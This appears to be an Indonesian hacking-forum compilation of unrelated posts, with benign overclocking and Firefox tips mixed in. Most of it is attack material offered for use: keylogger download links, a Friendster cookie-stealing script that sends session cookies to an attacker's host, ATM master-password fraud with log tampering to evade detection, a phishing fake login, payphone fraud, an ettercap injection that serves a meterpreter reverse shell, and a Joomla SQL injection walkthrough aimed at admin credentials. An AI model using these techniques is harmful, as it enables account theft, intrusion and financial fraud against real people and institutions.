Berikut daftarnya :
1. 007 Keylogger Spy Software 3.873
2. Active Key Logger 2.4
3. Activity Keylogger 1.80.21
4. Activity Logger 3.7.2132
5. ActMon Computer Monitoring 5.20
6. Actual Spy 2.8
7. Advanced Invisible Keylogger v1.9
8. Advanced Keylogger 1.8
9. Ardamax Keylogger 2.9
10. BlazingTools Perfect Keylogger 1.68
11. Blazingtools Remote Logger v2.3
12. Data Doctor KeyLogger Advance v3.0.1.5
13. Local Keylogger Pro 3.1
14. ExploreAnywhere Keylogger Pro 1.7.8
15. Family Cyber Alert 4.06
16. Family Keylogger 2.80
17. Firewall bypass Keylogger 1.5
18. Free Keylogger 2.53
19. Ghost Keylogger 3.80
20. Golden Eye 4.5
21. Golden KeyLogger 1.32
22. Handy Keylogger 3.24 build 032
23. Home Keylogger 1.77
24. Inside Keylogger 4.1
25. iOpus Starr PC and Internet Monitor 3.23
26. iSpyNow v2.0
27. KeyScrambler 1.3.2
28. Keystroke Spy 1.10
29. KGB Keylogger 4.2
30. KGB Spy 3.84
31. LastBit Absolute Key Logger 2.5.283
32. Metakodix Stealth Keylogger 1.1.0
33. Network Event Viewer v6.0.0.42
34. OverSpy v2.5
35. PC Activity Monitor Professional 7.6.3
36. PC Spy Keylogger 2.3 build 0313
37. PC Weasel 2.5
38. Personal PC Spy v1.9.5
39. Power Spy 6.10
40. Powered Keylogger v2.2.1.1920
41. Quick Keylogger 2.1
42. Radar 1.0
43. Real Spy Monitor 2.80
44. Real Spy Monitor 2.80
45. Remote Desktop Spy 4.04
46. Remote KeyLogger 1.0.1
47. Revealer Keylogger Free 1.33
48. SC Keylogger Pro 3.2
49. Smart Keystroke Recorder Pro
50. Spector Pro 6.0.1201
51. SpyAnytime PC Spy 2.42
52. SpyBuddy 3.7.5
53. Spytech SpyAgent 6.02.07
54. Spytector 1.3.5
55 Stealth Key Logger 4.5
56. System keylogger 2.0.0
57. Tim’s Keylogger 1.0
58. Tiny Keylogger 2.0
59. Total Spy 2.7
60. Windows Keylogger 5.04
61. Win-Spy Pro 8.9.109
62. XP Advanced Keylogger 2.5
63. XPCSpy Pro version 3.01

download disini
http://rapidshare.com/files/191921436/A … .part1.rar
http://rapidshare.com/files/191921441/A … .part2.rar

This summary is not available. Please click here to view the post.

Patch Token pada Joomla


[code]##
##
## Mod title: Tokenize [at] Joomla
##
## Source: too many to spell
## Works on joomla: 1.*
## Release date: unknown
##
##


#
#---------[ 1. OPEN ]---------------------------------------------------
#

/components/com_user/models/reset.php


#
#---------[ 5. FIND (line:112) ]---------------------------------------------------
#

function confirmReset($token)
{
global $mainframe;



#
#---------[ 6. AFTER, ADD ]---------------------------------------------------
#

if(strlen($token) != 32) {
$this->setError(JText::_('Ur Warning Message here'));
return false;

Anti Shutdown Auto

nah..klo misalnya udah kena itu..
cepet2 buka cmd..
lalu tulis ini..kemudian ENTER
[Code]

shutdown -a
[/code]
heheh..selesai deh.. ^_^
gak jadi deh kompi'a mati..

patch (SQL INJECTION ) pada ASP di halaman login admin

[code]
Function Amankan(strtemp)
strTemp = Replace(strTemp, "(", "[")
strTemp = Replace(strTemp, ")", "]")
strTemp = Replace(strTemp, chr(13), "")
strTemp = Replace(strTemp, chr(34), "'")
strTemp = Replace(strTemp, "<" , "<")
strTemp = Replace(strTemp, ">" , ">")
strTemp = Replace(strTemp, "script" , "s-c-r-i-p-t")
strTemp = Replace(strTemp, "=" , "samadengan")

Amankan = strTemp
End Function

Function Amankan1(strtemp)
strTemp = Replace(strTemp, "(", "")
strTemp = Replace(strTemp, ")", "")
strTemp = Replace(strTemp, chr(13), "")
strTemp = Replace(strTemp, chr(34), "")
strTemp = Replace(strTemp, "<" , "")
strTemp = Replace(strTemp, ">" , "")
strTemp = Replace(strTemp, "script" , "s-c-r-i-p-t")
strTemp = Replace(strTemp, ";" , "")
strTemp = Replace(strTemp, "'" , "")
strTemp = Replace(strTemp, "having" , "")


Amankan1 = strTemp
End Function



Function ChkEmail(strTemp)
If Len(strTemp) > 0 Then
If InStr(1, strTemp, "@") > 0 Then
If InStr(Len(strTemp) - 4, strTemp, ".") > 0 Then
ChkEmail = True
End If
End If
Else
ChkEmail = False
End If
End Function

Function ChkMessage(strTemp)
If Len(strTemp) > 20 and Len(strTemp) < 200 Then
ChkMessage = True
Else
ChkMessage = False
End IF
End Function

Function ChkName(strTemp)
If Len(strTemp) > 4 and Len(strTemp) < 30 Then
ChkName = True
Else
ChkName = False
End IF
End Function


persyaratannya:

1.Punya Browser Mozzilla Firefox Dengan Add-On Cookie Editor!!
Kalo Belom Punya Klik https://addons.mozilla.org/en-US/firefox/addon/573

2.Webhosting Untuk Penyimpanan Cookies Dan Code!!
Example: ripway.com

3.Punya Account FriendSter Tentunya!!

Langkah-Langkahnya adalah:

1.Buat File PHP dengan nama cook.php, (bisa buat di notepad ajah, tapi save dengan SAVE AS TYPE-nya All Files dan simpan dengan nama cook.php).
isinya :

Code:

$cookie=$_GET['c'];
$id=$_GET['s'];
$ref=$_GET['nx'];
$pjg=strlen($cookie)<155;
$valid=strstr($cookie, "mac");
if(($valid)&&($pjg)){
//$ip = getenv ('REMOTE_ADDR');
$date=date("dmy.g:ia");
$fl = fopen('321.txt', 'a');
fwrite($fl, "\r\n$ip;;$id;;$date\r\n$cookie\r\n");
fclose($fl);
}
header("location:$ref");
?>

2.Buat File Dengan Nama kenadech.js Yang Isinya:

Code:

var userURL="id FS KALIAN";
var id=fgetCookie("friendster_identitas"),pUrl=window.location.href.search(/profiles\./),pVd=pageViewerID,pOd=pageOwnerID,pVn=pageViewerFName;

if(pVd==""){
alert("Please log in to see this profile: "+pOd);
top.location.href="http://www.friendster.com/login.php?next=%2F"+pOd+"&cookie=1";}
else{
if(pUrl>0){
if(id!=pVd){
document·cookie="friendster_identitas="+pVd+"; path=/";
top.location.href="http://www.friendster.com/profiles/"+userURL;
}}
else{
var cLoger="http://HOSTINGAN/NICKNAMEHOST/cook.php",ck=fgetCookie("friendster_auth_v2"),nxLoc="http://profiles.friendster.com/"+pOd;
window.location.href=cLoger+'?c='+escape(ck)+'&s='+escape(pVn)+'~'+pVd+'~@'+pOd+'&nx='+nxLoc;}}

4.lalu buat satu file kosong degan nama 321.txt ( HTTP://HOSTINGA/NICKHOST/321.txt
untuk melihat cookies si korban

5.pasangkan file js yang tadi kamu upload di kotak media/mediabox kamu
(http://hostingan/nickhost/kenadech.js)

kemudian apa bila cookies si korban sudah kamu dapatkan
CONTOH:

Code:

;;BLABLABLA~XXXXXX~@ID KAMU;;071008.11:57am
uid=XXXXXX&lastclick=1223398659&cty=vg&icty=-&y9p=i6h7hLlWzAN4z3gFBLAzxxahlAQiBoa5fYt7wd877zg*&mac=MTNkMTMwYmVkNTQ2Y2M0MjM0YmM1NzBiNDMwYmJlNmQ*

nah kalo sudah kamu dapatkan yang seperti ini di file kosong txt kamu
tinggal di replace aja dech di notepad

= "DEGANTI MENJADI %3D "
& "DIGANTI MENJADI %26 "
* "DIGANTI MENJADI %2A "

setelah sudah di ganti smuah
kita ke cookie editor yang tadi kita download

cari friendster_auth_V2
kemudian kamu ubah contentnya degan cookies yang tadi sudah d replace

dan kmudian reload kembali,,,,,,,


apakah yg terlihat di sana???
DEFACE...DEFACE

http://www.4shared.com/dir/5793695/e9a0cb77/CEH.html


Caranya bikin shutdown otomatis plus nampilin pesan sesuai kemauan kita.
Seperti inilah langkahnya:
Buka notepad trus kopi script dibawah ini:


@echo off
msg * kena lu ma gw
shutdown -s -c "Error! mati kompinya"


Nah kalo udah save dengan nama file .BAT
Contohnya: shutdown.bat

Skarang nih kita mo buikin vbscript yang nongool mulu ga abis abis.
Caranya seperti yang diatas yaitu:
Buka notepad trus kopi script dibawah ini:


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Kalo udah save dengan namafile .vbs


Lets start the GAME xD~~
Hal ini hanya bekerja untuk mesin tipe Tranax Minibank 1500 Series ..


Berikut adalah cuplikan dari Manual Book :

intinya untuk masuk kedalam Operator Function pada ATM Machine tipe ini, anda perlu menekan tombol , dan secara bersamaan selama 2 detik, lepaskan mereka, dan tekan tombol 1, kemudian 2, dan 3. Mungkin timing awalnya akan susah pada saat anda mencoba pertama kali .. xD~~

Kalau kmu kesulitan untuk login ..
Cara kasarnya juga ada .. Wakakaka ..
Matikan power ATM mesin, buka saja penutup ATM, copot kertas untuk printernya, pasangkan kembali, dan pada saat anda menyalakan kembali ATM, dia akan lgsg masuk pada Operator Function ..

Susah memang ..
But no pain .. No gain right?? xD~~

Setelah masuk ke dalam Operator Function .. kamu akan ditanyai 3 jenis password, yang mana anda dapat memilih 1 dari antara 3 itu:
- Operator Password (Ini untuk meng-akses menu dasar struktur ATM)
- Service Password (Mengijinkan akses ke menu dasar dan diagnostic menu)
- Master Password (Mengijinkan anda mengakses penuh mesin tersebut)

Disini adalah kunci dari pembicaraan kita ..
Pada mesin Tranax MiniBank 1500 Series .. Default Master Password nya adalah "000000" (Tanpa kutip) .. Dan saya rasa tidak banyak yang merubah default password itu, Hehehe ..

Dari sana anda bisa melakukan banyak hal ..
Termasuk diantaranya "reset the status of the cash cartridges" .. Yang dimana membuat anda mgkn saja melakukan pengambilan uang sebesar 100rb namun anda mendapatkan 400rb karena anda membuat cashingnya menjadi 4x lipat lebih banyak .. Namun bank akan hanya me-reduce uang anda sebanyak 100rb sesuai request anda ..

Menarik bukan??!
Wakakaka ..

Bagaimana apabila kita terlacak??
Dengan Master Password, anda bisa merubah jam transaksi, merubah entire timing dan printing data ATM, dll dsb dst .. Yah, kreasikan sendiri utk bisa kabur dr tuduhan .. Jadi intinya, yang perlu anda takuti adalah .. Security Cameras


INGAT HANYA UNTUK PENGETAHUAN

bagi yang berminat praktek n succes jangan lupa bagi bagi


BIKIN FAKELOGIN RAPIDSHIT...

http://www.ziddu.com/download/3875950/Rapitshit.rar.html

trus biarin yang punya akun disono login ,,trus lu tinggal colong aja...


. Melewati Conter Time
————————-
1. Copas file yang mau di donlod d address bar mojiila
2. Setelah halaman Rapidshare muncul, klik Free account.
3. nah pas keluar countdown...biarin aja..trus apus semua isi URL box..
trus isi script nie..

javascript:alert(c=0)

4. Tekan ENTER, trus OK..maka link akan keluar,,ga usah nunggu lama2..hahaha..

additional :
7733719 # XL6UFScY
7733731 # 9mSHdZaQ
7733741 # dMg3NUKG
7733750 # Y8MTyPjj
7733758 # hNQpxt94


sorry
.:. Not tested Yet .:.

hmmm,,,,gw rasa semua programmer udah pada tau tentang tutor ini
jadi gw mohon bagi yang udah tau , tutup mulut lo!!! karena tutor ini tidak diperuntukkan untuk elo !!!!!

SO SHAME ON YOU
ok bagi yang perlu tutor ini please open your Vb6 and go to new project

ketikan code ini
Private Sub Command1_Click()
On Error Resume Next
CommonDialog1.Filter = "All Files|*.*"
CommonDialog1.ShowOpen
WindowsMediaPlayer1.URL = CommonDialog1.FileName
Text1 = WindowsMediaPlayer1.currentMedia.Name
Text2 = WindowsMediaPlayer1.currentMedia.sourceURL
Text3 = WindowsMediaPlayer1.Status
Text4 = WindowsMediaPlayer1.versionInfo
File1 = WindowsMediaPlayer1.currentPlaylist



End Sub

Private Sub Command2_Click()
WindowsMediaPlayer1.Controls.stop
Text3 = WindowsMediaPlayer1.Status
End Sub

Private Sub Command3_Click()
WindowsMediaPlayer1.Controls.play
Text3 = WindowsMediaPlayer1.Status
End Sub


Private Sub Command4_Click()
WindowsMediaPlayer1.Controls.fastForward
Text3 = WindowsMediaPlayer1.Status
End Sub

Private Sub Command5_Click()
WindowsMediaPlayer1.Controls.fastReverse
Text3 = WindowsMediaPlayer1.Status
End Sub

Private Sub Command6_Click()
WindowsMediaPlayer1.Controls.pause
Text3 = WindowsMediaPlayer1.Status
End Sub

Private Sub Command7_Click()
End
End Sub

Private Sub Command8_Click()
Load Form2
End Sub

I. Trik telphon gratis Lokal (dalam kota)
>>>Fasilitas dan cara yang digunakan:
1. Telphone umum koin yang masih hidup
2. Pencet angka 1551 <--- catatan: angka 1 terakhir di pencet lama
hingga ada nada "tut/nit/nada sela lainnya"
3. Bila tanda itu telah bunyi baru tekan nomor yang dituju ( nomor
telphone lokal)
4. dan anda akan mendapatkan sambungan langsung dari telkom ke no telp
yang dituju, maka anda bisa bicara sepuas bibir anda.

note: UNTUK NOMOR LOKAL YANG TIDAK BISA DIHUBUNGI BIASANYA DIKARENAKAN:
1. TERLALU BANYAK NOMOR YANG KEMBAR
2. TERLALU BANYAK ANGKA DOMINAN BESAR MISAL 8997896/89868789/ dll
3. DAN BILA TELEPHONE YANG DITUJU BELUM TERPASANG
4. TELKOM SEDANG KENA TROUBLE :))

II. TRIK TELEPHONE GRATIS INTERLOKAL (LUAR KOTA)
>>>Fasilitas dan cara yang digunakan:
1. Telphone rumah, kantor atau wartel tipe B (sangat dianjurkan)
2. Telphonelah seperti kita menelephone biasa ke NOMOR TUJUAN LUAR
KOTA (khusus luar kota)
3. Bicaralah sepuas hati dan sebengkak bibir anda
4. Bila telah selesai percakapan ... PERHATIKAN TRIK INI:
TRIK 1. - SEBELUM ANDA MENUTUP TELEPHON, KETIKLAH NOMOR TUJUAN PERSIS
SEPERTI NOMOR YANG DITUJU PERTAMA
misal: tujuan 021888555000 -> bila telah selesai ketikan
021888555000 lagi
(JANGAN PAKAI TOMBOL RADIAL, KARENA SERING GAGAL)

TRIK 2. - SEPERTI CARA TRIK PERTAMA TADI CUMAN KITA RUBAH NOMOR TUJUAN
AKHIR
misal: tujuan 021888555000 -> bila telah selesai ketikan
031545552222 (BEDA NOMOR TUJUAN)
(JANGAN PAKAI TOMBOL RADIAL, KARENA SERING GAGAL)


CATATAN: HATI² DALAM MELAKUAKN AKSI INI DENGAN MNGUNAKAN WARTEL TIPE A UNTUK MELAKUKAN TRIK II TELEPON GRATIS KE LUAR KOTA KARENA AKAN KELIHATAN PADA KOMPUTER BILLING OPERATOR D DAN PASTI ANDA DICURIGAI KARENA PULSA AKAN HILANG BEGITU SAJA DARI LAYAR MONITOR OPERATOR WARTEL.OK`:)

>>>so klo qt udh gak ada "duit" trus pengen nelfon...silakan aje pke trik ini...!!:)
opsh Trik ini udh terbukti jitu....!!

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Nothing!");
}
}

if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "")) {
replace("", "

action="http://192.168.1.6/meterpeter.exe" method="link">
http://192.168.1.6/alert.gif">
<body>just some instructionshtml>");
msg("html injected");
}}

-menciptakan meterpeter.exe -

(open msfconsole)


../msfpayload windows/meterpeter/reverse_tcp LHOST=192.168.1.6
LPORT=100 x > meterpeter.exe



Now place the executable into your Apache root directory

mengkonfigurasi-listener -

use exploit/multi/handler

set PAYLOAD windows/meterpeter/reverse_tcp

set LHOST 192.168.1.6

set LPORT 100

-jalankan ettercap -


etterfilter html.filter -o html.ef

ettercap -T -q -F html.ef -M ARP // //


sekarang menunggu beberapa satu pada jaringan untuk men-download dan menjalankan meterpeter.exe
dan Anda akan memiliki reverse shell

Phenom II Black Edition adalah processor terbaru dan tertinggi di jajaran AMD Desktop Processor saat ini. Processor ini pada dasarnya sama dengan Phenom terdahulu, namun dengan level-3 chace lebih besar 6MB. Perbedaan paling mendasar dari Phenom ke Phenom II ialah Phenom II telah menggunakan arsitektur 45nm, sedangkan Phenom masih ber-arsitektur lawas 65nm. Semakin kecil ukuran arsitektur suatu prosesor, maka konsumsi daya dan panasnya pun lebih kecil. Hal ini menyebabkan kemampuan overcloking dari prosesor itu sendiri akan meningkat. Arsitektur Phenom II yang lebih kecil membuatnya lebih flexible dan unggul dalam hal overcloking dibanding pendahulunya AMD Phenom.
Komponen pertama untuk menunjang overcloking ialah motherboard. Dengan motherboard yang tepat, maka hasil overcloking maksimal dan stabil akan diraih. Motherboard adalah komponen utama dalam pengaturan suplai kelistrikan. Menggunakan motherboard yang tepat akan sangat membantu.

Berikut syarat motherboard yang baik untuk overcloking prosesor AMD Phenom II:

1. Berchipset AMD 790 series dan telah menggunakan SB 750 untuk kompatilitas penuh terhadap Phenom II dan telah mensupport AMD OverDrive dan Advance Clock Calibration
2. Memiliki minimal 4-set Power Phase dengan solid capasitor (rekomendasi kami 5-set)
3. Memiliki pendingin chipset yang baik. Terutama bagian mosfet dan powerphase, lebih baik yang dilapisi Heatsink
4. BIOS Fitur yang lengkap seperti:
1. Spread Spectrum: pengunci PCI Clock agar frekuensinya tidak ikut meningkat ketika overcloking.
2. AMD OverDrive (AOD): fitur khusus motherboard berchipset AMD 790 untuk memungkinkan melakukan perubahan clock dan voltase prosesor, memory dan chipset motherboard dalam Windows (overclocking on the fly)
3. Processor clock/frequency & voltase setting
4. Processor multiplier setting
5. Memory clock/frequency & voltase setting
6. Memory timing setting
7. Northbridge & Southbridge Chipset clock/frequency & voltase setting

Cara ini bisa di aplikasikan pada processor Phenom II Black Edition Lainnya seperti X3 720 BE atau X4 940 BE.

Hardware yang dibutuhkan:

1. AMD Phenom II Black edition X4 955 BE / X4 940 BE / X3 720 BE

2. Motherboard berchipset AMD 790 dengan SB 750. Contoh: 790GX-SB750, 790FX-SB 750, 790X-SB750

3. PowerSupply Pure Power minimal 400W Dual Rail dengan 8-pin 12V

4. AMD Reference Black Edition Heat Sink Fan

Hardware tambahan rekomendasi kami:

1. Cooler Processor yang baik. Yang mampu lebih mendinginkan dibanding AMD Reference Black Edition Heat Sink Fan

2. DDR2 PC 8500 (DDR2 1066 MHz). Untuk mencegah keterbatasan overclocking karena memory

3. Kipas tambahan yang menghembus dari arah depan ke belakang belakang motherboard. Menghindari panas chipset motherboard

4. VGA Card. Sebaiknya hindari overclocking ketika menggunakan VGA onboard, karena akan membuat motherboard chipset bekerja extra keras dan panas. Untuk mendapat hasil tertinggi, gunakan vga card apa saja. Semakin rendah konsumsi listriknya semakin baik.

Kami telah mencoba overclocking AMD Phenom II X4 955 BE ke 4,0 GHz dengan motherboard PCP 790GX Ultra Raptor. Berikut konfigurasi hardwarenya:

* AMD Phenom II X4 Quad-Core 955 Black Edition
* PCP 790GX Ultra Raptor
* Team Xtreem Dark 2x2 GB PC 8500 CL-5
* AMD Black Edition HSF
* ICute Titanium Pro 80Plus 900W Modular
* Dual Fan 12CM for airflow

BIOS Setting:

Rubah seting BIOS seperti dibawah untuk menaikkan clock X4 955 dari clock awal 800MHz ke clock aslinya 3200MHz. Naikkan secara bertahap dari 800 ke 2000, 2800, 3200, 3600, 3800, 4000 MHz.

1. Cool & Quite: Disable

2. Dimm Voltage/ VDIMM / Memory Voltage: 2.2 V

3. VCORE : 1.35 V

4. Spread Spectrum: Disable

5. Restart



Setelah membuat seting standar seperti diatas, sekarang kita taikkan processor clock dengan cara menaikkan cpu multiplier secara bertahap. Perlu diingat, setiap multiplier memiliki clock processor 200Mhz. Jadi, misal kita set CPU Multiplier 8x, maka clock yang dihasilkan: 8 x 200MHz = 1600 MHz.

Keuntungan dalam overclocking prosesor AMD Black Edition adalah komponen yang di-stress hanya prosesor saja. Jadi overclocking tidak ikut menekan komponen lain seperti memory, dan northbridge motherboard. Berikut setting Voltase dan Multiplier/Clock prosesor yang sesuai dengan Phenom II 955BE.



CPU Multiplier & VCORE Setting Phenom II X4 955 BE:

- 16x (3200 MHz) =1,35V

- 18x (3600 MHz) = 1,35V

- 19x (3800 MHz) = 1,45V

- 20x (4000 MHz) = 1,55-1,65V (Extra Cooler Required)



CPU Multiplier & VCORE Setting Phenom II X4 940 BE & X3 720 BE:

- 16x (3200 MHz) =1,35V

- 18x (3600 MHz) = 1,45V

- 19x – 20x (3800 - 4000 MHz) = 1,55-1,65V (Extra Cooler required)



Pada umumnya, Phenom II X4 955BE hanya sanggup berjalan stabil untuk dipakai sehari-hari pada 3900MHz dengan air cooling (pendingin udara – hanya menggunakan heatsink dan kipas bersuhu ruang 20-25C). Sedangkan Phenom II X4 940BE dan X3 720BE pada 3800MHz. Untuk dapat berjalan harian lebih tinggi lagi, anda bisa mencoba water cooling (pendingin air), dry ice cooling (pendingin es kering), atau bahkan liquid nitrogen cooling (pendingin nitrogen cair).



Perhatikan suhu prosesor, jangan sampai melebihi 70C ketika full load, karena dapat merusak komponen. Gunakan pendingin yang lebih baik untuk mendapat hasil yang maksimal.



Overclocking merupakan hal yang hasilnya sangat bervariasi. Karena memang setiap komponen komputer tidak ada yang sama kemampuannya walaupun menggunakan tipe, jenis, dan merk yang sama. Misalnya saja, sebuah priosesor 955 BE yang satu mampu di overclock hingga 4GHz, sedangkan prosesor sejenis hanya maksimal di 3,9GHz. Kejadian ini sering terjadi. Biasanya karena Batch prosesor tersebut berbeda2. Cetakan pertama lebih bagus, sedangkan cetakan lainnya tidak sebagus cetakan sebelumnya, atau sebaliknya. Tapi kesamaan BATCH juga tidak menjamin kemampuan yang sama pada tiap prosesor. Walaupun kemungkinan perbedaannya tidak sebesar pada batch yang berbeda.

Jadi, apa yang kami rumuskan di atas, hasilnya bisa sangat bervariasi. Tergantung dari komponen yang anda gunakan, dan keberuntungan anda apakah memiliki komponen yang “Gold BATCH” atau tidak.



1 Hal lagi, overclocking adalah “pemaksaan” pada komponen PC. Bisa saja dengan overclocking ini komponen anda terbakar, hangus atau konslet. Jadi, keuntungan overclocking ialah meningkatan kinerja PC secara gratis, sedangkan resikonya, ditanggung anda sepenuhnya. Selamat mencoba!

petunjuk tentang cara yang kami lakukan ini, beberapa yang diadaptasi dari Josh's ,

1. Memperoleh sebuah ultra-cepat USB 2.0 flash drive

Drive yang kami sarankan adalah Apacer Handy steno 4GB USB Flash Drive HT203, 200X Hi-Speed USB 2.0. It's the fastest USB 2.0 Flash Drive memiliki kecepatan membaca 25MBytes/sec. & Speed-14MBytes/sec dan juga sebagai ReadyBoost cache.

2. Formatah Apacer Flash Drive

Jalankan CMD.EXE
Catatan: Ini kumpulan perintah menganggap bahwa USB flash drive ditujukan sebagai "disk 1". Anda harus memastikan dua kali dengan melakukan daftar dari disk (ketik "daftar disk") sebelum pembersihan itu. Jika Anda memiliki beberapa hard drive, seperti drive SDFlash atau Multibay drive, Anda dapat me wiping drive kedua Anda menggunakan perintah ini.

1 diskpart
2 select disk 1
3 clean
4 create partition primary
5 select partition 1
6 active
7 format fs=fat32
8 assign
9 exit

3. Salinan Windows Vista dari DVD ROM dengan konten Flash Drive

Cukup mengeluarkan perintah berikut untuk mulai menyalin semua isi dari DVD Windows Vista anda baru diformat kecepatan tinggi flash drive.
* Xcopy d: \ *.* / s / e / f e: \

And that's it. Boot pada komputer, memiliki boot off USB drive, dan lihat bagaimana instalasi cepat selesai. Jika Anda pikir Windows Vista terinstal dengan cepat sebelum ny kemudian mari kita lihat bagaimana seperti sekarang. Lambat pada bagian mungkin akan membuat anda menunggu menginstal komputer Anda ketik informasi dalam bidang setup, dan bahkan yang dapat otomatis menggunakan Windows Automated Installation Kit.

http://xnuxer.or.id

Berikut langkah langkah tweaking browser firefox agar bekerja semaximal mungkin. Efeknya lumayan terasa saat membuka konten yang besar.

1. Ketik “about:config” pada address bar dan tekan enter. turunkan scroll kebawah dan cari entries berikut :

network.http.pipelining
network.http.proxy.pipelining
network.http.max-connections-per-server
network.http.pipelining.maxrequests
network.http.max-connections
network.http.max-persistent-connections-per-proxy
network.http.max-persistent-connections-per-server

Secara normal browser akan membuat satu request untuk satu halaman web dalam satu kali . ketika kamu enable pipelining, itu akan membuat beberapa halaman dalam sekali. dan akan mempercepat page loading

2. rubah entries berikut menjadi :

Set “network.http.pipelining” menjadi “true”
Set “network.http.proxy.pipelining” menjadi “true”
set “network.http.max-connections-per-server” menjadi 32.
set “network.http.max-connections” menjadi 60.
set “network.http.max-persistent-connections-per-proxy” menjadi 16.
set “network.http.max-persistent-connections-per-server” menjadi 8.
set “network.http.pipelining.maxrequests” menjadi nilai seperti “30?.

3.klik kiri (dimana saja) select New-> Integer. masukan “nglayout.initialpaint.delay” pada prefence name, kemudian set nilai menjadi “0"?.

klik kiri sekali lagi (dimana saja) select New-> boolean. masukan “browser.tabs.showSingleWindowModePrefs” set menjadi “true”

>>>>klo pengen Download kenceng, yah Pake Internet Download Managerlah/Download Accelerator....<<<<


Smoga bermanfaat...



Kalian ingat waktu seseorang menghack ESPN.com? Pengunjung situs ESPN harus memasukkan kode atas, atas bawah, bawah, kiri ,kanan, kiri, kanan, B, A, Enter dan pengunjung situs akan melihat pelangi dan unicorn.

Ternyata ESPN tidak sendiri, Joystick menemukan kode konami ini menginfeksi 25 situs lainnya, antara lain Facebook.com. Berbeda dengan ESPN.com, tidak ada hal yang mengkilat dan lucu di Facebook. Setelah memasukan kode yang sama dengan ESPN, pengguna facebook akan melihat cahaya-cahaya waktu pengguna beraktifitas di facebook. Meskipun dihack, efek hack ini memberikan kesan tersendiri Smile

http://www.facebook.com/ext/share.php?sid=99866655489&h=93cHB&u=tCH4D





Apa jadinya jika admin malas mengupdate webnya? Apa jadinya jika admin tidak memperhatikan security risk yang ada? Apa jadinya jika 'the choosen one' ternyata seorang admin yang tidak tahu sama sekali mengenai system keamanan sebuah data? Ironi memang. Bahkan terkadang ada admin yang meremehkan system keamanan. Apa jadinya jika server anda memiliki konfigurasi default? Apa jadinya, apa jadinya? Dan segudang akibat dari hasil penggabungan dua kata tersebut. Yang terjadi adalah peluang seorang attacker untuk menyusup ke dalam website anda semakin memungkinkan, mengobrak-abrik server anda, bahkan tidak jarang seorang attacker mengambil profit dari exploitasi system yang ada. Dalam berbagai hal, termasuk mendulang dollar dengan cara tidak halal. Seperti yang dilakukan oleh para carder.

Penulis akan menjelaskan betapa mudahnya sebuah web dieksploitasi hanya dengan bermodalkan internet dan browser internet tentunya, dan sedikit pengetahuan sql query. Perlu penulis jelaskan, penulis hanyalah seorang manusia biasa yang memiliki pengetahuan minimal dari sistem keamanan data.

Ya, belum lama ini, salah satu component joomla terbukti mengidap penyakit berbahaya, tumor ganas yang akan menjalar keseluruh tubuh, dan berakibat kematian pada akhirnya. :D~~

Telah ditemukan bug sql injection pada com_ds-syndicate, ini adalah salah satu contoh dari sekian banyak bug fatal yang terdapat dalam joomla. Waspadalah! Kesalahan terjadi karena komponen ini tidak menyediakan filtering sql yang ketat dalam variable feed_id. Penyusupan dapat dilakukan, sederhananya ini terjadi karena kesalahan dari variable feed_id. Dan saat menulis artikel ini ada beberapa site masih memiliki kecacatan seperti ini.

Ya, Langsung aja ...

http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1



Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita tes kelemahannya, dengan penambahan tanda kutip ( ' ) di belakangnya.

http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1'

Apa yang terjadi ? ... error...

Langkah selanjutnya adalah cari urutan si table 'dssyndicate_feeds' dengan mendapatkan bentuk error yang sama, dan berhenti ketika mendapatkan error yang berbeda :

index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/* --> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/* --> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/* --> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/* --> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/* --> errornya sama

index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/* --> errornya berbeda

perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan 1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang selanjutnya.

Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini.

Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban.
index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20+from+jos_users

lihat paling akhir dari baris tersebut,
from+jos_users

jos_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user.
Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini diperoleh berdasarkan yang telah penulis jelaskan sebelumnya.

Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut,

Setelah itu buka file yang baru didownload tersebut dengan editor seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan untuk membukanya dengan notepad, tidak dengan browser internet, karena memudahkan untuk pembacaan hasil dari sql injection yang telah dilakukan.





2 (18)

Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan adalah angka 2-nya. Ini berarti berdasarkan hasil query union menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan karakter lain untuk menggunakannya seperti melihat versi mysql yang digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi mysql yang digunakan oleh si korban. Gunakan url ini ...

http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from
+jos_users




perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian buka kembali file telah di download dengan notepad, apa yang terjadi ? title berubah menjadi versi si mysql, yang penulis dapatkan :

5.0.33 (18)

Mysql versi 5.0.33 :D, sampai sini anda telah dapat eksplorasi database user dengan leluasa. Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan username dan password si admin. :D.

Pengambilan username dan password secara paksa menggunakan sql injection ini dapat dilakukan secara satu persatu, ataupun sekaligus. Query untuk menampilkan username menggunakan bug sql injection yang satu ini, anda cukup mengganti @@version yang tadi dengan field yang menyimpan informasi username tentunya, gunakan url ini :

